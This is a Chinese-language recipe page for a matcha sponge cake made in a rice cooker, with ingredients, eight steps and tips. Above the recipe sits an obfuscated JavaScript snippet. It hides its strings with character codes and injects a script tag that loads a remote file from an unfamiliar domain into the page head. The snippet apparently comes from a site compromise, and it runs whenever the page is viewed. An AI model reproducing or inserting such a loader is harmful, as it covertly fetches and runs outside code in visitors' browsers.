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Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

材料:
蛋黄 – 5个
蛋白 – 5个
糖 – 40G (加入蛋黄)
糖 – 80G (加入蛋白)
色拉油 – 4-5滴
白醋 – 4-5 滴
低筋面粉 – 160克
抹茶粉 – 20克
泡打粉 – 5克
牛奶 – 130克

做法:

  1. 备好所有的材料,器具要无油无水。
  2. 蛋黄加入细砂糖,搅拌均匀,之后再加入油和牛奶搅拌均匀
  3. 再把面粉,抹茶粉和泡打粉混合均匀加入蛋黄搅拌(分两次加入,容易搅拌),以画十字的方式搅拌均匀。
  4. 蛋白中加入白醋,打蛋器以一档的速度打发,出现泡沫时加入糖打发(打发过程中糖最好分三次加入,容易打发),开始用二三四档打发至纹路,最后用五档狂打至硬性泡。
  5. 在加蛋白前先把电饭锅按煮饭键预热一下(锅底垫张油纸或者涂抹一点油)
  6. 把打发好的蛋白分两次加入蛋黄面糊中(用画十字法搅拌均匀,力道一定要轻)
  7. 把拌好的面糊倒入电饭锅内,然后把锅放在桌面上震几下,把气泡震出来,再盖上锅盖,保温五分钟闷一下,再按煮饭健或蛋糕健(40分钟左右)时间到了,保温5分钟再开锅盖,防止回缩。
  8. 打开锅盖,把锅倒扣在网架或者砧板上(防止回缩),冷却会儿就会掉下来了。

小贴士

  1. 装蛋白和蛋黄的器具(以及打蛋器)一定要无油无水,搅拌力道一定要轻

  2. 打发蛋白时加点白醋或者柠檬汁更容易打发蛋白。

  3. 无论是煮饭键还是蛋糕健时间大概在40分钟左右,鉴于不同的电饭锅功率不同,如果出来的底色深了,下次时间就要调整咯 。

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